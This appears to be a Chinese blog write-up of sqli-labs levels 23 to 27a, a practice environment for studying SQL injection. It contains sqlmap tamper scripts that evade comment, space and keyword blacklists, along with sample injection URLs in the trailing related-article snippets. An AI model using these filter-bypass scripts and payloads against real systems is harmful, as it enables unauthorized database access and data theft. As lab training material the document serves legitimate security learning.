less23

本关过滤掉了注释符号-- 和#,并且变量带入数据库时被单引号包裹。需要将后边的单引号闭合。使用and '1'='1,将其加在注入语句的末尾,使用suffix参数


less-24

以后填坑


less-25

参数经过blacklist处理

blacklist内容:使用/i模式,表示不区分大小写,无法用大小写绕过。但是AND等价于&&,or等价于||

对sqlmap的一个payload进行修改

  1. #!/usr/bin/env python
  2.  
  3. """
  4. Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
  5. See the file 'LICENSE' for copying permission
  6. """
  7.  
  8. from lib.core.enums import PRIORITY
  9.  
  10. __priority__ = PRIORITY.LOWEST
  11.  
  12. def dependencies():
  13. pass
  14.  
  15. def tamper(payload, **kwargs):
  16.  
  17. if payload:
  18. payload1=payload.replace(' AND ',"&&")
  19. payload2=payload1.replace(' OR ',"||")
  20. payload=payload2
  21.  
  22. return payload

  成功注入


less-26

同上题,进行黑名单过滤,过滤内容加入了其他,过滤了注释符+ -- /*,空格和斜线

需要用and '1'='1来闭合后边单引号,用%a0来替代空格,

修改tamper脚本

攻击日志:


less-26a

不同于上一关,这里是用小括号进行了包裹

tamper

  1. 1 #!/usr/bin/env python
  2. 2
  3. 3 from lib.core.enums import PRIORITY
  4. 4 from lib.core.compat import xrange
  5. 5 import re
  6. 6
  7. 7 __priority__ = PRIORITY.LOWEST
  8. 8
  9. 9 def dependencies():
  10. 10 pass
  11. 11
  12. 12 def tamper(payload, **kwargs):
  13. 13
  14. 14 if payload:
  15. 15 payload1=re.sub(r' AND ','%a0%26%26%a0',payload)
  16. 16 payload2=re.sub(r'OR','OORR',payload1)
  17. 17 payload=payload2
  18. 18 retVal = payload
  19. 19
  20. 20 if payload:
  21. 21 retVal = ""
  22. 22 quote, doublequote, firstspace = False, False, False
  23. 23
  24. 24 for i in xrange(len(payload)):
  25. 25 if not firstspace:
  26. 26 if payload[i].isspace():
  27. 27 firstspace = True
  28. 28 retVal += "%a0"
  29. 29 continue
  30. 30
  31. 31 elif payload[i] == '\'':
  32. 32 quote = not quote
  33. 33
  34. 34 elif payload[i] == '"':
  35. 35 doublequote = not doublequote
  36. 36
  37. 37 elif payload[i] == " " and not doublequote and not quote:
  38. 38 retVal += "%a0"
  39. 39 continue
  40. 40
  41. 41 retVal += payload[i]
  42. 42
  43. 43 return retVal

使用sqlmap进行前后的包裹


less-27

过滤了union和select,但是,不是i模式,对大小写不敏感,可以用大小写绕过

使用随机大小写和空格匹配tamper


less-27a

不同于上一个的是参数没有包裹,同时不返回报错

利用上一题的tamper,对前后的包裹进行修改

攻击日志

sqlilab less23-less27a的更多相关文章

  1. 【sqli-labs】 less27a GET- Blind based -All you Union&Select Belong to us -Double Quotes(GET型基于盲注的去除了Union和Select的双引号注入)

    和less 27一样,单引号换双引号 http://192.168.136.128/sqli-labs-master/Less-27a/?id=0"%a0uNion%a0sElect%a01 ...

  2. 【sqli-labs】 less23 Error based - strip comments (GET型基于错误的去除注释的注入)

    . 加单引号报错 加# http://localhost/sqli-labs-master/Less-23/?id=1'%23 错误没有改变,推测过滤了# 查看源码发现# -- 都被替换掉了 那么可用 ...

  3. Less-23 preg_replace1

    Less-23: 直接跳到Less-23的原因是,Less-(11~22)均为注入点不为get方式的注入.我先把get型注入写的差不多,再回来整理关于注入点的内容. 核心语句: 查询.报错均有回显. ...

  4. sqli-lab 第一题 单引号 error based single quotes

    一.第一次见面 1.初识 http://localhost/Less-1/ 提示输入id,因此访问http://localhost/Less-1/?id=1 可以继续测试id=2.3.4等的情况,会输 ...

  5. sqli-lab(37)

    0X01 看看源码 what is mean? 定义和用法 mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符. 下列字符受影响: \x00 \n ...

  6. sqli-lab(8)

    布尔型单引号GET盲注 发现加个单引号跟没加显示不一样,加了单引号连you are in都不显示了,没有报错,所以只能用盲注判断了 0X01爱之先了解 盲注需要掌握一些MySQL的相关函数:lengt ...

  7. sqli-lab(16)

    现实证明 英语好才能学渗透 基于bool类型的时间盲注 双引号 0X01爱之初体验 说实话我还没有找到 盲注的时候怎么判断闭合的方法 so 这里我直接看源码 这里的语句应该是 (“”)这种的闭合形式 ...

  8. sqli-lab(15)

    要考四级了 翻译过来就是 基于时间的单引号盲注 0X01盲注 的了解 https://www.cnblogs.com/ldhbetter/p/9201840.html 这里写的清清楚楚 A 先拆解长度 ...

  9. sqli-lab(14)

    POST型的 双注入 0X01随便测试一下 在password输入"会报错  "#就不报错了 那么应该是“”的闭合 但是没有回显的值 只有报错的信息 那我们是不是该考虑从报错的语句 ...

随机推荐

  1. 通过SQL自动添加流水号

    通过SQL自动添加流水号 项目中往往有一些单据流水号或者流程流水号是希望通过新增一条记录后自动产生一个编号的,比如新增一条流程就自动根据当前日期自动添加该流程的流程流水号,下面介绍两种不同类型流水号通 ...

  2. JS实现鼠标移入水波效果

    前言 最近比较沉迷JS,所以我现在来做个鼠标的交互效果 HTML <div style="border-radius;position:relative;width:800px;hei ...

  3. jq animate 的第二写法

    俩个参数的写法 例子: $('#div1').animate({num:'auto'},{ duration : 1000,   //运动时间 easing : 'linear',    //运动形式 ...

  4. D. Alyona and Strings 解析(思維、DP)

    Codeforce 682 D. Alyona and Strings 解析(思維.DP) 今天我們來看看CF682D 題目連結 題目 略,請直接看原題. 前言 a @copyright petjel ...

  5. Java之HttpClient调用WebService接口发送短信源码实战

    摘要 Java之HttpClient调用WebService接口发送短信源码实战 一:接口文档 二:WSDL 三:HttpClient方法 HttpClient方法一 HttpClient方法二 Ht ...

  6. 【总结】HTTP

    一.HTTP 1.http HTTP 是一种 超文本传输协议(Hypertext Transfer Protocol),HTTP 是一个在计算机世界里专门在两点之间传输文字.图片.音频.视频等超文本数 ...

  7. 详解git rebase,让你走上git大神之路

    在之前的文章当中我们介绍了git merge的用法,明白了通过git merge我们可以合并两个分支的改动.这样我们就可以很方便地进行协同开发了,每个人都在自己的分支下开发代码,开发完毕之后再一起合并 ...

  8. OpenCascade拓扑对象之:Face的方向、参数域和曲面间的关系

    @font-face { font-family: "Times New Roman" } @font-face { font-family: "宋体" } @ ...

  9. Stimulsoft Reports和Dashboards发布新版本2020.5具有多项改进

    Stimulsoft仪表工具实现所需的数据可视化和自己的信息图表.该产品能够应用必要的过滤器和排序,汇总数据,执行任何复杂度的计算.该产品的优势在于其多功能性-能够为您的业务,财务,销售,行业等任何领 ...

  10. .net 实现签名验签

    本人被要求实现.net的签名验签,还是个.net菜鸡,来分享下采坑过程 依然,签名验签使用的证书格式依然是pem,有关使用openssl将.p12和der转pem的命令请转到php实现签名验签 .ne ...